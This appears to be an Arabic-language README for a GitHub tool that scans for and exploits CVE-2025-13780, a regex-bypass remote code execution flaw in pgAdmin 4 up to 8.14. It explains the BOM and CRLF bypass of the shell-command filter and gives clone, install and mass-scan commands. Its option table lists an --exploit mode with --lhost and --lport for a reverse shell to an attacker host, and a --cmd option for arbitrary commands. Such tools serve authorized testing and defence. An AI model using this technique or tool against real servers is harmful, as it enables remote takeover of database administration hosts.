
ماسح ثغرات شامل لثغرة CVE-2025-13780، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) في pgAdmin 4 للإصدارات ≤ 8.14.
ماسح شامل للثغرات الأمنية لـ CVE-2025-13780، وهي ثغرة تنفيذ برمجي عن بُعد (RCE) في pgAdmin 4 الإصدارات ≤ 8.14.
توجد الثغرة في ميزة الاستعادة (Restore) في pgAdmin 4. يحاول التطبيق منع أوامر الصدفة الخطيرة (التي تبدأ بـ \) باستخدام تعبير نمطي. ومع ذلك، يمكن تجاوز هذا الفحص.
(^|\n)[ \t]*\\\xef\xbb\xbf في البداية تجعل التعبير النمطي يفشل في المطابقة\n\r بدلاً من \n قبل الخط المائل العكسي# Clone the repository
git clone https://github.com/ThemeHackers/CVE-2025-13780.git
cd CVE-2025-13780
# Install dependencies
pip install -r requirements.txt
requests - مكتبة HTTP لطلبات APIrich (اختياري) - إخراج طرفية محسّن مع ألوان وأشرطة تقدمpython-socketio و websocket-client (اختياري) - دعم WebSocket لوضع الاستغلال# Basic scan
python3 scanner.py http://localhost:5050
# With authentication
python3 scanner.py http://localhost:5050 --email [email protected] --password admin
# Verbose mode
python3 scanner.py http://localhost:5050 -v
# Scan from file
python3 scanner.py -f targets.txt
# With multi-threading (default: 5 threads)
python3 scanner.py -f targets.txt --threads 10
# Export results to JSON
python3 scanner.py -f targets.txt -o results.json --json
يحسب الماسح درجة الثقة (0-100) بناءً على عوامل متعددة:
بالنسبة للإصدارات ≤ 8.14:
بالنسبة للإصدارات > 8.14:
بالنسبة للإصدارات غير المعروفة:
استخدم Docker Compose لإعداد نسخة pgAdmin 4 ثغرة:
docker-compose up -d
[email protected]admin| الرمز | المعنى |
|---|---|
| 0 | لم يتم العثور على ثغرات |
| 1 | تم العثور على هدف أو أكثر ثغرة |
| 2 | حدثت أخطاء أثناء الفحص |
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2025-13780 pgAdmin 4 Scanner ║
║ Regex Bypass Remote Code Execution ║
║ ║
║ Affected: pgAdmin 4 <= 8.14 ║
╚═══════════════════════════════════════════════════════════════╝
[*] Checking connectivity to http://localhost:5050
[+] Target appears to be pgAdmin
[+] Detected version: 8.14
[+] CSRF token obtained
[!] Version 8.14 is in vulnerable range (<= 8.14)
[*] Testing regex bypass patterns
[+] BOM bypass: BYPASSED
[+] CRLF bypass: BYPASSED
⚠️ VULNERABILITY DETECTED ⚠️
هذه الأداة مقدمة لأغراض تعليمية ولاختبار الاختراق المصرح به فقط.
هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للتفاصيل.
| الخيار | الوصف |
|---|
target | عنوان الهدف (مثل: http://localhost:5050) |
-f, --file | ملف يحتوي على قائمة الأهداف (هدف واحد في كل سطر) |
-e, --email | بريد pgAdmin الإلكتروني للمصادقة |
-p, --password | كلمة مرور pgAdmin للمصادقة |
-o, --output | ملف الإخراج للنتائج |
--json | إخراج النتائج بصيغة JSON |
-q, --quiet | كتم الشعار ورسائل المعلومات |
-v, --verbose | تفعيل الإخراج المفصّل/التصحيح |
-t, --timeout | مهلة الطلب بالثواني (الافتراضي: 10) |
--threads | عدد الخيوط لفحص الأهداف المتعددة (الافتراضي: 5) |
--exploit-demo | تشغيل وضع العرض التوضيحي للاستغلال |
--exploit | تنفيذ استغلال فعلي (يتطلب --lhost) |
--lhost | عنوان المهاجم لاستدعاء الصدفة العكسية |
--lport | منفذ المهاجم للصدفة العكسية (الافتراضي: 4444) |
--cmd | أمر مخصص للتنفيذ (اختياري) |
| العامل | أقصى درجة | التفاصيل |
|---|
| الإصدار في النطاق الثغري (≤ 8.14) | 40 | تم اكتشاف الإصدار كـ ≤ 8.14 |
| إصدار غير معروف | 15 | عندما يتعذر تحديد الإصدار |
| نقطة نهاية الاستعادة قابلة للوصول | 25 | واجهة برمجة تطبيقات الاستعادة قابلة للوصول دون مصادقة |
| نقطة نهاية الاستعادة (تتطلب مصادقة) | 15 | واجهة برمجة تطبيقات الاستعادة موجودة ولكنها تتطلب مصادقة |
| طريقا تجاوز BOM وCRLF تعملان معًا | 25 | نجحت طريقا تجاوز التعبير النمطي |
| إحدى طريقتي التجاوز تعمل | 20 | نجح تجاوز BOM أو CRLF |
| نقطة نهاية المتصفح قابلة للوصول | 10 | واجهة pgAdmin الرئيسية قابلة للوصول |